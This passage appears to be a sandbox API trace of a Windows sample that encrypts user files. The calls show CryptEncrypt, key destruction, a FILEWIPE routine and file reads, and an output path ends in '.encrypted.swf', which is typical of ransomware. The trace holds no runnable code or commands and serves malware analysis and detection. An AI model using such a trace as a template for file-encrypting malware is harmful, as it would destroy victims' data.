PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.034] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.035] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.035] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.035] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xdeb3, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xdec0) returned 1 [0029.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.035] CharLowerBuffW (in: lpsz="byte[57025]", cchLength=0xb | out: lpsz="byte[57025]") returned 0xb [0029.035] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.036] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.036] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.036] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.036] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f43a3c70*, pdwDataLen=0xe8f3dfdf68*=0xdeb3, dwBufLen=0xdec0 | out: pbData=0xe8f43a3c70*, pdwDataLen=0xe8f3dfdf68*=0xdec0) returned 1 [0029.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.036] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.037] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.037] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.037] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.037] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.042] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.042] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.044] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.044] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.044] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.044] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.044] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.044] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.044] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.044] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.044] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.045] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.045] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.045] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.045] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.045] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.045] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.045] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.047] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.048] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.048] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.048] CharLowerBuffW (in: lpsz="byte[57011]", cchLength=0xb | out: lpsz="byte[57011]") returned 0xb [0029.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.048] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.048] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.048] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.049] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.049] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.049] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.050] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.050] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.050] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.050] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.050] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.051] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.051] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.051] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.051] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.051] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.051] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.051] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.051] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.051] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.051] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10178) returned 1 [0029.051] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.051] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.051] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.051] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x27c2, lpOverlapped=0x0) returned 1 [0029.052] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.052] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x27c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.052] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10178) returned 1 [0029.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\bDzhQHicch.encrypted.swf\r\n", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0029.052] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\bDzhQHicch.encrypted.swf\r\n", cchWideChar=55, lpMultiByteStr=0xe8f404ba10, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 